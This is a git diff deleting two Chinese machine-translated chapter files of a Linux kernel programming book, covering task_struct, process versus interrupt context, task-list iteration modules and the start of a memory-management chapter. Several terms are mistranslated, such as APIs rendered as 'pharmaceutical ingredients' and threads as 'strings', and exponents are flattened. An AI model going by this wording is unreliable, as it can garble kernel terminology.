和 Aarch64 处理器),一个寄存器专用于保存`current`的值! - -I urge you to browse the kernel source tree and see the implementation details of `current` (under `arch//asm/current.h`). On the ARM32, an *O(1)* calculation yields the result; on AArch64 and PowerPC it's stored in a register (and thus the lookup is blazing fast). On x86_64 architectures, the implementation uses a `per-cpu` *variable* to hold `current` (avoiding the use of costly locking). Including the `` header is required to include the definition of `current` in your code. - -我们可以使用`current`去引用任务结构,并从中剔除信息;例如,进程(或线程)的 PID 和名称可以如下查找: - -```sh -#include -current->pid, current->comm -``` - -在下一节中,您将看到一个成熟的内核模块,它遍历任务列表,打印出沿途遇到的每个任务结构的一些细节。 - -## 确定上下文 - -如您现在所知,内核代码在两种环境之一中运行: - -* 流程(或任务)上下文 -* 中断(或原子)上下文 - -它们是互斥的——内核代码在任何给定的时间点运行在进程或原子/中断上下文中。 - -通常,在编写内核或驱动程序代码时,您必须首先弄清楚您正在处理的代码运行在什么上下文中。了解这一点的一种方法是使用以下宏: - -```sh -#include - in_task() -``` - -如果您的代码在进程(或任务)上下文中运行,它将返回一个布尔值:`True`,在这个上下文中,它通常是安全的;返回`False`意味着你处于某种原子或中断环境中,在这种环境中睡觉从来都不安全。 - -You might have come across the usage of the `in_interrupt()` macro; if it returns `True`, your code is within an interrupt context, if `False`, it isn't. However, the recommendation for modern code is to *not* rely on this macro (due to the fact that **Bottom Half** (**BH**) disabling can interfere with this). Hence, we recommend using `in_task()` instead. - -坚持住。这可能会变得有点棘手:虽然`in_task()`返回`True`确实意味着您的代码在进程上下文中,但是这个事实本身并不能保证*当前*可以安全进入睡眠状态*。休眠实际上意味着调用调度程序代码和随后的上下文切换(我们在[第 10 章](10.html)、*CPU 调度程序–第 1 部分*和[第 11 章](11.html)、*CPU 调度程序–第 2 部分*中对此进行了详细介绍)。例如,您可能在进程上下文中,但是持有一个自旋锁(内核中使用的非常常见的锁);锁定和解锁之间的代码——所谓的*临界区*——必须自动运行!这意味着,尽管您的代码可能在进程(或任务)上下文中,但如果它试图发出任何阻塞(休眠)API,它仍然会导致错误!* - -另外,注意:`current`只有在*流程上下文*中运行时才被视为有效。 - -右;到目前为止,您已经了解了关于任务结构的有用背景信息,如何通过`current`宏访问它,以及这样做的注意事项——例如弄清楚您的内核或驱动程序代码当前运行的上下文。现在,让我们实际上写一些内核模块代码来检查一点内核任务结构。 - -# 通过当前 -处理任务结构 - -在这里,我们将编写一个简单的内核模块来显示任务结构的一些成员,并揭示其*初始化*和*清理*代码路径运行的*进程上下文*。为此,我们设计了一个`show_ctx()`函数,使用`current`来访问任务结构的几个成员并显示它们的值。它从*初始化*和*清除*方法调用,如下所示: - -For reasons of readability and space constraints, only key parts of the source code are displayed here. The entire source tree for this book is available in its GitHub repository; we expect you to clone and use it: `git clone https://github.com/PacktPublishing/Linux-Kernel-Programming.git`. - -```sh -/* code: ch6/current_affairs/current_affairs.c */[ ... ] -#include /* current */ -#include /* current_{e}{u,g}id() */ -#include /* {from,make}_kuid() */ -[...] -#define OURMODNAME "current_affairs" -[ ... ] - -static void show_ctx(char *nm) -{ - /* Extract the task UID and EUID using helper methods provided */ - unsigned int uid = from_kuid(&init_user_ns, current_uid()); - unsigned int euid = from_kuid(&init_user_ns, current_euid()); - - pr_info("%s:%s():%d ", nm, __func__, __LINE__); - if (likely(in_task())) { - pr_info( - "%s: in process context ::\n" - " PID : %6d\n" - " TGID : %6d\n" - " UID : %6u\n" - " EUID : %6u (%s root)\n" - " name : %s\n" - " current (ptr to our process context's task_struct) :\n" - " 0x%pK (0x%px)\n" - " stack start : 0x%pK (0x%px)\n", - nm, - /* always better to use the helper methods provided */ - task_pid_nr(current), task_tgid_nr(current), - /* ... rather than the 'usual' direct lookups: - current->pid, current->tgid, */ - uid, euid, - (euid == 0?"have":"don't have"), - current->comm, - current, current, - current->stack, current->stack); - } else - pr_alert("%s: in interrupt context [Should NOT Happen here!]\n", nm); -} -``` - -正如在前面的代码片段中以粗体突出显示的,您可以看到(对于一些成员)我们可以简单地取消引用`current`指针来访问各种`task_struct`成员并显示它们(通过内核日志缓冲区)。 - -太好了。前面的代码片段确实向您展示了如何通过`current`直接访问一些`task_struct`成员;然而,并不是所有的成员都可以或者应该被直接访问。相反,内核提供了一些辅助方法来访问它们;接下来让我们进入这个话题。 - -## 内置内核助手方法和优化 - -在前面的代码中,我们使用了一些内核的*内置助手方法*来提取任务结构的各种成员。这是推荐的方法;比如我们用`task_pid_nr()`来偷看 PID 成员,而不是直接通过`current->pid`。类似地,任务结构中的流程凭证(如我们在前面的代码中显示的`EUID`成员)在`struct cred`中被抽象,对它们的访问是通过助手例程提供的,就像我们在前面的代码中使用的`from_kuid()`一样。以类似的方式,还有其他几个助手方法;在`include/linux/sched.h`中查找它们,就在`struct task_struct`定义的下方。 - -Why is this the case? Why not simply access task structure members directly via `current->`? Well, there are various real reasons; one, perhaps the access requires a *lock* to be taken (we cover details on the key topic of locking and synchronization in the last two chapters of this book). Two, perhaps there's a more optimal way to access them; read on to see more on this... - -此外,如前面的代码所示,通过使用`in_task()`宏,我们可以很容易地找出(我们的内核模块的)内核代码是在进程还是中断上下文中运行——如果在进程(或任务)上下文中,它将返回`True`,否则将返回`False`。 - -有趣的是,我们还使用`likely()`宏(它变成了编译器`__built-in_expect`属性)来提示编译器的分支预测设置,并优化送入 CPU 流水线的指令序列,从而使我们的代码保持在“快速路径”上(更多关于这种使用`likely()/unlikely()`宏的微优化可以在本章的*进一步阅读*一节中找到)。在开发人员分别“知道”代码路径可能或不可能的情况下,您会看到内核代码经常使用`likely()/unlikely()`宏。 - -The preceding `[un]likely()` macros are a good example of micro-optimization, of how the Linux kernel leverages the `gcc(1)` compiler. In fact, until recently, the Linux kernel could *only* be compiled with `gcc`; recently, patches are slowly making compilation with `clang(1)` a reality. (FYI, the modern **Android Open Source Project** (**AOSP**) is compiled with `clang`.) - -好了,现在我们已经理解了内核模块`show_ctx()`函数的工作原理,让我们来试一试。 - -## 试用内核模块打印进程上下文信息 - -我们构建我们的`current_affair.ko`内核模块(这里不显示构建输出),然后像往常一样将其插入内核空间(通过`insmod(8)`)。现在我们用`dmesg(1)`查看内核日志,然后`rmmod(8)`查看并再次使用`dmesg(1)`。下面的截图显示了这一点: - -![](img/62a6a96a-c2b9-4727-a8e0-8cfaae620ae7.png) - -Figure 6.9 – The output of the current_affairs.ko kernel module - -很明显,从前面的截图可以看出,*进程上下文*——运行`current_affairs.ko:current_affairs_init()`内核代码的进程(或线程)——就是`insmod`进程(见输出:“`name : insmod`”),执行清理代码的`current_affairs.ko:current_affairs_exit()`进程上下文就是`rmmod`进程! - -Notice how the timestamps in the left column (`[sec.usec]`) in the preceding figure help us understand that `rmmod` was called close to 11 seconds after `insmod`. - -这个小的演示内核模块比第一眼看到的要多。这对理解 Linux 内核架构其实很有帮助。下一节将解释这是如何发生的。 - -### 鉴于 Linux 操作系统是单片的 - -除了使用`current`宏的练习之外,这个内核模块(`ch6/current_affairs`)背后的一个关键点是清楚地向您展示 Linux 操作系统的*单片特性。*在前面的代码中,我们看到当我们在内核模块文件(`current_affairs.ko`)上执行`insmod(8)`过程时,它被插入到内核中,并且它的 *init* 代码路径运行;*谁跑的?*啊,这个问题是通过检查输出来回答的:`insmod`进程本身在进程上下文中运行它,从而证明了 Linux 内核的整体性!(同上`rmmod(8)`流程和*清理*代码路径;它由流程上下文中的`rmmod`流程运行。) - -Note carefully and clearly: there is no "kernel" (or kernel thread) that executes the code of the kernel module, it's the user space process (or thread) *itself* that, by issuing system calls (recall that both the `insmod(8)` and `rmmod(8)` utilities issue system calls), switches into kernel space and executes the code of the kernel module. This is how it is with a monolithic kernel. - -当然,这种类型的内核代码执行是我们所说的在进程上下文中运行*,而不是在*中断上下文*中运行。然而,Linux 内核并不被认为是纯粹的整体;如果是这样,它将是一个单一的硬编码的内存。相反,像所有现代操作系统一样,Linux 支持*模块化*(通过 LKM 框架)。* - -As an aside, do note that you can create and run *kernel threads* within kernel space; they still execute kernel code in process context when scheduled. - -### 使用 printk 进行安全编码 - -在我们之前的内核模块演示(`ch6/current_affairs/current_affairs.c`)中,我希望您注意到了带有“特殊”`%pK`格式说明符的`printk`的用法。我们在这里重复相关的代码片段: - -```sh - pr_info( - [...] - " current (ptr to our process context's task_struct) :\n" - " 0x%pK (0x%px)\n" - " stack start : 0x%pK (0x%px)\n", - [...] - current, (long unsigned)current, - current->stack, (long unsigned)current->stack); [...] -``` - -回想一下我们在[第 5 章](05.html)、*编写您的第一个内核模块–LKMs 第 2 部分*中的讨论,在*影响系统日志的 Proc 文件系统可调参数*部分,当打印地址时(首先,您真的不应该在生产中打印地址),我敦促您不要使用通常的`%p`(或`%px`)而是使用 **`%pK`** 格式说明符。这就是我们在前面的代码中所做的;*这是为了安全*、*防止内核信息泄露*。对于一个经过良好调整的(安全)系统,`%pK`将只显示散列值,而不显示实际地址。为了显示这一点,我们还通过`0x%px`格式说明符显示实际的内核地址,只是为了进行对比。 - -有趣的是,`%pK`似乎对默认的桌面 Ubuntu 18.04 LTS 系统没有影响。两种格式`%pK`和`0x%px`打印出相同的值(如图 6.9 所示);这是*而不是*所期待的。然而,在我的 x86_64 Fedora 31 虚拟机上,它确实如预期的那样工作,用`%pK`产生一个散列(不正确的)值,用`0x%px`产生正确的内核地址。以下是我的 Fedora 31 虚拟机的相关输出: - -```sh -$ sudo insmod ./current_affairs.ko -[...] -$ dmesg -[...] -name : insmod - current (ptr to our process context's task_struct) : - 0x0000000049ee4bd2 (0xffff9bd6770fa700) - stack start : 0x00000000c3f1cd84 (0xffffb42280c68000) -[...] -``` - -在前面的输出中,我们可以清楚地看到区别。 - -On production systems (embedded or otherwise) be safe: set `kernel.kptr_restrict` to `1` (or even better, to `2`), thus sanitizing pointers, and set `kernel.dmesg_restrict` to `1` (allowing only privileged users to read the kernel log). - -现在,让我们继续进行一些更有趣的事情:在下一节中,您将学习如何迭代 Linux 内核的*任务列表*,从而实际上学习如何获取系统上每个活动进程和/或线程的内核级信息。 - -# 迭代内核的任务列表 - -如前所述,所有的任务结构都被组织在内核内存中一个叫做*任务列表*的链表中(允许它们被迭代)。列表数据结构已经演变成非常常用的*循环双链表。*事实上,处理这些列表的核心内核代码已经被分解成一个名为`list.h`的头部;众所周知,它有望用于任何基于列表的工作。 - -The `include/linux/types.h:list_head` data structure forms the essential doubly linked circular list; as expected, it consists of two pointers, one to the `prev` member on the list and one to the `next` member. - -通过版本> = 4.11 的`include/linux/sched/signal.h`头文件中方便提供的宏,您可以轻松地遍历与任务相关的各种列表;请注意,对于 4.10 及更早版本的内核,宏位于`include/linux/sched.h`中。 - -现在,让我们把这个讨论变成经验和实践。在下面的部分中,我们将编写内核模块,以两种方式迭代内核任务列表: - -* **一**:遍历内核任务列表,活显示所有*进程*。 -* **二**:迭代内核任务列表,显示所有*线程*活动。 - -我们展示了后一种情况的详细代码视图。继续读下去,一定要自己去尝试! - -## 迭代任务列表 I–显示所有进程 - -内核提供了一个方便的例程,即`for_each_process()`宏,它可以让你轻松地遍历任务列表中的每个*进程*: - -```sh -// include/linux/sched/signal.h: -#define for_each_process(p) \ - for (p = &init_task ; (p = next_task(p)) != &init_task ; ) -``` - -很明显,宏扩展到一个`for`循环,允许我们在循环列表中循环。`init_task`是一个方便的“头”或开始指针——它指向第一个用户空间进程的任务结构,传统上是`init(1)`,现在是`systemd(1)`。 - -Note that the `for_each_process()` macro is expressly designed to only iterate over the `main()` thread of every *process* and not the ('child' or peer) threads. - -这里显示了我们的`ch6/foreach/prcs_showall`内核模块输出的一个简短片段(当在我们的 x86_64 Ubuntu 18.04 LTS 客户系统上运行时): - -```sh -$ cd ch6/foreach/prcs_showall; ../../../lkm prcs_showall - [...] - [ 111.657574] prcs_showall: inserted - [ 111.658820] Name | TGID | PID | RUID | EUID - [ 111.659619] systemd | 1| 1| 0| 0 - [ 111.660330] kthreadd | 2| 2| 0| 0 - [...] - [ 111.778937] kworker/0:5 | 1123| 1123| 0| 0 - [ 111.779833] lkm | 1143| 1143| 1000| 1000 - [ 111.780835] sudo | 1536| 1536| 0| 0 - [ 111.781819] insmod | 1537| 1537| 0| 0 -``` - -Notice how, in the preceding snippet, the TGID and PID of each process are always equal, 'proving' that the `for_each_process()` macro only iterates over the *main* thread of every process (and not every thread). We explain the details in the following section. - -我们将把对示例内核模块的学习和尝试留在`ch6/foreach/prcs_showall`作为对您的练习。 - -## 迭代任务列表二–显示所有线程 - -为了迭代系统中每个活跃的*线程*,我们可以使用`do_each_thread() { ... } while_each_thread()` *对*宏;我们编写了一个示例内核模块来实现这一点(这里:`ch6/foreach/thrd_showall/`)。 - -在进入代码之前,让我们构建它,`insmod`它(在我们的 x86_64 Ubuntu 18.04 LTS 来宾上),并查看它通过`dmesg(1)`发出的输出的底部。由于这里不可能显示完整的输出——它太大了——我在下面的截图中只显示了输出的下部。此外,我们还复制了标题(图 6.9),这样您就可以理解每一列代表什么: - -![](img/70009eb8-3e62-4016-b4f7-0256ce270f2f.png) - -Figure 6.10 – Output from our thrd_showall.ko kernel module In Figure 6.9, notice how all the (kernel-mode) stack start addresses (the fifth column) end in zeroes: -`0xffff .... .... .000`, implying that the stack region is *always aligned on a page boundary* (as `0x1000` is `4096` in decimal). This will be the case as kernel-mode stacks are always fixed in size and a multiple of the system page size (typically 4 KB). - -按照惯例,在我们的内核模块中,我们安排如果线程是一个*内核线程*,它的名字显示在方括号中。 - -在继续代码之前,我们首先需要详细检查任务结构中的 TGID 和 PID 成员。 - -### 区分过程和线程-TGID 和 PID - -想想看:由于 Linux 内核使用唯一的任务结构(`struct task_struct`)来表示每个线程,并且由于其内部的唯一成员有一个 PID,这意味着,在 Linux 内核中,*每个线程都有一个唯一的 PID* 。这就产生了一个问题:同一个进程的多个线程如何共享一个公共的 PID?这违反了 POSIX.1b 标准(*pthreads*;事实上,有一段时间,Linux 不符合标准,造成了移植等问题)。 - -为了解决这个恼人的用户空间标准问题,Ingo Molnar(红帽)在 2.5 内核系列中提出并引入了一个补丁。一个名为**线程组标识符**或 TGID 的新成员被放入任务结构中。工作原理是这样的:如果进程是单线程的,`tgid`和`pid`的值是相等的。如果是多线程进程,那么*主*线程的`tgid`值等于其`pid`值;该流程的其他线程将继承*主*线程的`tgid`值,但将保留自己独特的`pid`值。 - -为了更好地理解这一点,让我们从前面的截图中举一个实际的例子。在图 6.9 中,请注意,如果一个正整数出现在右边的最后一列,它是如何表示紧挨着它左边的多线程进程中的线程数量的。 - -那么,查看图 6.9 中的`VBoxService`流程;为了方便起见,我们将该片段复制如下(注意:我们删除了第一列`dmesg`时间戳,并添加了标题行,以提高可读性):它具有表示其*主*线程(称为`VBoxService`)的`938`的 PID 和 TGID 值;为了清楚起见,我们用粗体显示了它),总共有*个线程*: - -```sh - PID TGID current stack-start Thread Name MT?# - 938 938 0xffff9b09e99edb00 0xffffbaffc0b0c000 VBoxService 9 - 938 940 0xffff9b09e98496c0 0xffffbaffc0b14000 RTThrdPP - 938 941 0xffff9b09fc30c440 0xffffbaffc0ad4000 control - 938 942 0xffff9b09fcc596c0 0xffffbaffc0a8c000 timesync - 938 943 0xffff9b09fcc5ad80 0xffffbaffc0b1c000 vminfo - 938 944 0xffff9b09e99e4440 0xffffbaffc0b24000 cpuhotplug - 938 945 0xffff9b09e99e16c0 0xffffbaffc0b2c000 memballoon - 938 946 0xffff9b09b65fad80 0xffffbaffc0b34000 vmstats - 938 947 0xffff9b09b6ae2d80 0xffffbaffc0b3c000 automount -``` - -九根线是什么?首先当然是*主*线程是`VBoxService`,其下显示的八个,按名称分别是:`RTThrdPP`、`control`、`timesync`、`vminfo`、`cpuhotplug`、`memballoon`、`vmstats`和`automount`。我们如何确定这一点?很简单:仔细看前面代码块中分别表示 TGID 和 PID 的第一列和第二列:如果它们相同,则是流程的主线;*如果 TGID 重复,则该过程是多线程的*并且 PID 值代表“子”线程的唯一 ID。 - -事实上,通过无处不在的 GNU `ps(1)`命令,通过使用其`-LA`选项(以及其他方式),完全有可能在用户空间中看到内核的 TGID/PID 表示: - -```sh -$ ps -LA - PID LWP TTY TIME CMD - 1 1 ? 00:00:02 systemd - 2 2 ? 00:00:00 kthreadd - 3 3 ? 00:00:00 rcu_gp -[...] - 938 938 ? 00:00:00 VBoxService - 938 940 ? 00:00:00 RTThrdPP - 938 941 ? 00:00:00 control - 938 942 ? 00:00:00 timesync - 938 943 ? 00:00:03 vminfo - 938 944 ? 00:00:00 cpuhotplug - 938 945 ? 00:00:00 memballoon - 938 946 ? 00:00:00 vmstats - 938 947 ? 00:00:00 automount - [...] -``` - -`ps(1)`标签如下: - -* 第一列是`PID`-这实际上代表了这个任务在内核中的任务结构的`tgid`成员 -* 第二列是`LWP`(轻量进程或线程!)–这实际上代表了该任务内核中任务结构的`pid`成员。 - -Note that only with the `ps(1)` GNU can you pass parameters (like `-LA`) and see the threads; this isn't possible with a lightweight implementation of `ps` like that of *busybox*. It isn't a problem though: you can always look up the same by looking under procfs; in this example, under `/proc/938/task`, you'll see sub-folders representing the child threads. Guess what: this is actually how GNU `ps` works as well! - -好了,现在进入代码... - -## 迭代任务列表三–代码 - -现在让我们看看`thrd_showall`内核模块的(相关)代码: - -```sh -// ch6/foreach/thrd_showall/thrd_showall.c */ -[...] -#include /* current */ -#include -#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 10, 0) -#include -#endif -[...] - -static int showthrds(void) -{ - struct task_struct *g, *t; // 'g' : process ptr; 't': thread ptr - [...] -#if 0 - /* the tasklist_lock reader-writer spinlock for the task list 'should' - * be used here, but, it's not exported, hence unavailable to our - * kernel module */ - read_lock(&tasklist_lock); -#endif - disp_idle_thread(); -``` - -关于前面的代码,需要注意几点: - -* 我们使用`LINUX_VERSION_CODE()`宏根据需要有条件地包含一个标题。 -* 请暂时忽略*锁定*的工作——使用(或不使用)`tasklist_lock()`和`task_[un]lock()`原料药。 -* 别忘了 CPU 空闲线程!每个中央处理器内核都有一个专用的空闲线程(名为`swapper/n`),当没有其他线程想要运行时(从`0`开始,`n`是内核号)。我们运行的`do .. while`循环并不是从这个线程开始的(T4 也没有显示出来)。我们包括一个小例程来显示它,利用了空闲线程的硬编码任务结构在`init_task`可用并导出的事实(一个细节:`init_task`总是指第一个 CPU 的–核心#`0`–空闲线程)。 - -让我们继续:为了遍历每个活跃的线程,我们需要使用一对*宏,形成一个循环:`do_each_thread() { ... } while_each_thread()`对宏正是这样做的,允许我们遍历系统上每个活跃的*线程*。以下代码显示了这一点:* - -```sh - do_each_thread(g, t) { - task_lock(t); - snprintf(buf, BUFMAX-1, "%6d %6d ", g->tgid, t->pid); - - /* task_struct addr and kernel-mode stack addr */ - snprintf(tmp, TMPMAX-1, " 0x%px", t); - strncat(buf, tmp, TMPMAX); - snprintf(tmp, TMPMAX-1, " 0x%px", t->stack); - strncat(buf, tmp, TMPMAX); - - [...] *<< see notes below >>* - - total++; - memset(buf, 0, sizeof(buf)); *<< cleanup >>* - memset(tmp, 0, sizeof(tmp)); - task_unlock(t); - } while_each_thread(g, t); #if 0 - /* */ - read_unlock(&tasklist_lock); -#endif - return total; -} -``` - -参考前面的代码,`do_each_thread() { ... } while_each_thread()`对宏形成了一个循环,允许我们迭代系统上的每个*线程*: - -* 我们遵循一种策略,使用一个临时变量(名为`tmp`)来获取一个数据项,然后将它附加到一个“结果”缓冲区`buf`,我们在每次循环迭代中打印一次。 -* 获取`TGID`、`PID`、`task_struct`和`stack`起始地址很简单——这里,为了简单起见,我们只使用`current`来取消引用它们(当然,您也可以使用我们在本章前面看到的更复杂的内核助手方法;在这里,我们希望保持简单)。还要注意的是,这里我们故意使用*而不是*使用(更安全的)`%pK` printk 格式说明符,而是通用的`%px`说明符,以便显示任务结构和内核模式堆栈的*实际*内核虚拟地址。 -* 在循环之前,根据需要进行清理(将线程总数的计数器从`memset()`增加到`NULL`,以此类推)。 -* 完成后,我们返回迭代过的线程总数。 - -在下面的代码块中,我们覆盖了前面代码块中故意遗漏的部分。我们检索线程的名称,如果它是一个内核线程,则将其打印在方括号内。我们还查询进程中的线程数量。解释遵循代码: - -```sh - if (!g->mm) { // kernel thread - /* One might question why we don't use the get_task_comm() to - * obtain the task's name here; the short reason: it causes a - * deadlock! We shall explore this (and how to avoid it) in - * some detail in the chapters on Synchronization. For now, we - * just do it the simple way ... - */ - snprintf(tmp, TMPMAX-1, " [%16s]", t->comm); - } else { - snprintf(tmp, TMPMAX-1, " %16s ", t->comm); - } - strncat(buf, tmp, TMPMAX); - - /* Is this the "main" thread of a multithreaded process? - * We check by seeing if (a) it's a user space thread, - * (b) its TGID == its PID, and (c), there are >1 threads in - * the process. - * If so, display the number of threads in the overall process - * to the right.. - */ - nr_thrds = get_nr_threads(g); - if (g->mm && (g->tgid == t->pid) && (nr_thrds > 1)) { - snprintf(tmp, TMPMAX-1, " %3d", nr_thrds); - strncat(buf, tmp, TMPMAX); - } -``` - -在前面的代码中,我们可以说: - -* 一个*内核线程*没有用户空间映射。`main()`线程的`current->mm`是指向类型为`mm_struct`的结构的指针,代表整个进程的*用户空间*映射;如果`NULL`,很有理由认为这是一个内核线程(因为内核线程没有用户空间映射);我们相应地检查并打印名称。 -* 我们也打印线程的名称(通过查找任务结构的`comm`成员)。你可能会质疑为什么我们不在这里使用`get_task_comm()`例程获取任务名称;简短的理由:它导致了一个*僵局*!我们将在后面关于内核同步的章节中详细探讨这个问题(以及如何避免这个问题)。现在,我们还是用简单的方法。 -* 我们通过`get_nr_threads()`宏方便地获取给定进程中的线程数;其余的在前面的代码块中的宏上方的代码注释中有清楚的解释。 - -太好了。至此,我们完成了对 Linux 内核内部和架构的讨论(目前),主要集中在进程、线程及其堆栈上。 - -# 摘要 - -在本章中,我们介绍了内核内部的关键方面,这些方面将帮助您作为内核模块或设备驱动程序作者更好、更深入地理解操作系统的内部工作。您详细检查了进程及其线程和堆栈(在用户和内核空间中)的组织和关系。我们检查了内核`task_struct`数据结构,并学习了如何通过内核模块以不同的方式迭代*任务列表*。 - -尽管这可能并不明显,但事实是,理解这些内核内部细节是成为一名经验丰富的内核(和/或设备驱动程序)开发人员的必要步骤。本章的内容将帮助您调试许多系统编程场景,并为我们深入探索 Linux 内核,尤其是内存管理奠定基础。 - -下一章和接下来的几章确实至关重要:我们将介绍您需要了解的关于内存管理内部的深刻而复杂的主题。我建议你先消化本章内容,浏览感兴趣的进一步阅读链接,做练习(*问题*部分),然后,进入下一章! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。********** \ No newline at end of file diff --git a/docs/linux-kernel-prog/07.md b/docs/linux-kernel-prog/07.md deleted file mode 100644 index 3c87fa2e..00000000 --- a/docs/linux-kernel-prog/07.md +++ /dev/null @@ -1,1097 +0,0 @@ -# 七、内存管理内部原理——要点 - -内核内部,尤其是关于内存管理,是一个庞大而复杂的话题。在这本书里,我不打算深究内核内存内部的深刻、血淋淋的细节。与此同时,我想为像您这样的初露头角的内核或设备驱动程序开发人员提供足够的背景知识,以成功解决这个关键问题。 - -因此,本章将帮助您充分理解内存管理在 Linux 操作系统上是如何执行的;这包括深入研究**虚拟内存** ( **VM** )分割,深入研究进程的用户模式和内核部分,并涵盖内核如何管理物理内存的基础知识。实际上,您将开始理解流程和系统的内存映射(虚拟和物理的)。 - -这些背景知识将大大有助于您正确、高效地管理动态内核内存(重点是使用**可加载内核模块** ( **LKM** )框架编写内核或驱动程序代码;这个方面——动态内存管理——以实用的方式是本书接下来两章的重点)。一个重要的好处是,有了这些知识,你会发现自己在调试用户和内核空间代码方面变得更加熟练。(这个重要性怎么强调都不为过!调试代码既是一门艺术,也是一门科学,更是一种现实。) - -在本章中,我们将涵盖以下领域: - -* 了解虚拟机拆分 -* 检查过程视觉模拟系统 -* 检查内核段 -* 随机存储布局–ASLR -* 物理内存 - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高版本的稳定版本)的来宾 VM,并且安装了所有需要的软件包。如果没有,我建议你先做这个。为了充分利用这本书,我强烈建议您首先设置工作空间环境,包括克隆这本书的 GitHub 代码存储库([https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)),并以动手的方式进行工作。 - -我假设您熟悉基本的虚拟内存概念、用户模式进程**虚拟地址空间** ( **VAS** )段布局、用户和内核模式堆栈、任务结构等等。如果你在这个基础上不确定,我强烈建议你先读前一章。 - -# 了解虚拟机拆分 - -在本章中,我们将大致了解 Linux 内核如何以两种方式管理内存: - -* 基于虚拟内存的方法,其中内存被虚拟化(通常的情况) -* 内核如何组织物理内存(内存页面)的视图 - -首先,让我们从虚拟内存视图开始,然后在本章后面讨论物理内存组织。 - -正如我们在前面章节中看到的,在*理解进程虚拟地址空间(VAS)* 部分,进程的一个关键属性 VAS 是它是完全独立的,一个沙盒。你不能看盒子外面。在[第 6 章](06.html)、*内核内部要素–进程和线程*,图 6.2 中,我们看到进程 VAS 的范围从虚拟地址`0`到我们简单称之为高地址。这个高位地址的实际价值是多少?显然,这是 VAS 的最高范围,因此取决于用于寻址的位数: - -* 在 32 位处理器上运行的 Linux 操作系统上(或编译为 32 位),最高虚拟地址将是 *2 32 = 4 GB* 。 - -* 在 64 位处理器上运行(并为其编译)的 Linux 操作系统上,最高虚拟地址将是 *2 64 = 16 EB。* (EB 是 exabyte 的缩写。相信我,这是一个巨大的数量。16 EB 相当于数字 *16 x 10 18 。*) - -为简单起见,为了使数字易于管理,现在让我们将重点放在 32 位地址空间上(我们当然也会涉及 64 位寻址)。因此,根据我们的讨论,在 32 位系统上,进程 VAS 从 0 到 4gb–该区域包括空白空间(未使用的区域,称为**稀疏区域**或**孔**)和有效内存区域,通常称为**段**(或更准确地说,**映射**)–文本、数据、库和堆栈(所有这些都在[第 6 章](06.html)、*内核内部要素–进程和线程*中有详细介绍) - -在我们理解虚拟内存的旅程中,拿起众所周知的`Hello, world` C 程序,在一个 Linux 系统上理解它的内部工作方式是很有用的;这就是下一节要讲的内容! - -## 从引擎盖下看——你好,世界 C 计划 - -对,这里有人知道如何编写规范的`Hello, world` C 程序吗?好吧,非常有趣,让我们看看其中有意义的一行: - -```sh -printf("Hello, world.\n"); -``` - -过程是调用`printf(3)`函数。`printf()`的代码写好了吗?“不,当然不是,”你说,“它在标准的`libc` C 库中,典型的是 Linux 上的`glibc` (GNU `libc`)但是等等,除非`printf`的代码和数据(以及类似的所有其他库 API)实际上在过程 VAS 中,否则我们怎么能访问它?(回想一下,你不能在盒子外面看*!)为此,`printf(3)`(实际上是`glibc`库)的代码(和数据)必须在流程*框*内映射——流程 VAS。它确实在流程 VAS 中映射,在库段或映射中(正如我们在[第 6 章](06.html)、*内核内部要素–流程和线程*、 *F* *图 6.1* 中看到的)。这是怎么发生的?* - -实际情况是,在应用启动时,作为 C 运行时环境设置的一部分,有一个小的**可执行和可链接格式** ( **ELF** )二进制文件(嵌入到您的`a.out`二进制可执行文件中),称为**加载程序** ( `ld.so`或`ld-linux.so`)。它很早就被控制了。它检测所有需要的共享库,并通过打开库文件和发出`mmap(2)`系统调用,将所有库——库文本(代码)和数据段——映射到过程 VAS 中。因此,现在,一旦库的代码和数据被映射到流程 VAS 中,流程就可以访问它,因此,等待它`printf()` API 可以被成功调用!(这里我们跳过了内存映射和链接的血淋淋的细节)。 - -进一步验证这一点,`ldd(1)`脚本(以下输出来自 x86_64 系统)揭示了事实确实如此: - -```sh -$ gcc helloworld.c -o helloworld -$ ./helloworld -Hello, world -$ ldd ./helloworld - linux-vdso.so.1 (0x00007fffcfce3000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007feb7b85b000) - /lib64/ld-linux-x86-64.so.2 (0x00007feb7be4e000) -$ -``` - -需要注意的几点: - -* 每个单独的 Linux 进程——自动地和默认地——链接到至少两个对象:共享库和程序加载器(不需要显式的链接器开关)。 -* 加载程序的名称因体系结构而异。这里,在我们的 x86_64 系统上,是`ld-linux-x86-64.so.2`。 -* 在前面的`ldd`输出中,右边括号内的地址是映射位置的虚拟地址。例如,在前面的输出中,`glibc`在**用户虚拟地址** ( **UVA** )处映射到我们的流程 VAS 中,该地址等于`0x00007feb7b85b000`。请注意,它依赖于运行时(这也因**地址空间布局随机化** ( **ASLR** )语义(见下文)而异)。 -* 出于安全原因(在 x86 之外的架构上),最好使用`objdump(1)`实用程序来查找这些细节。 - -Try performing `strace(1)` on the `Hello, world` binary executable and you will see numerous `mmap()` system calls, mapping in `glibc` (and other) segments! - -让我们进一步深入考察我们简单的`Hello, world` 的应用。 - -### 超越 printf() API - -如您所知,`printf(3)`应用编程接口转换为`write(2)`系统调用,这当然会将`"Hello, world"`字符串写入`stdout`(默认情况下,终端窗口或控制台设备)。 - 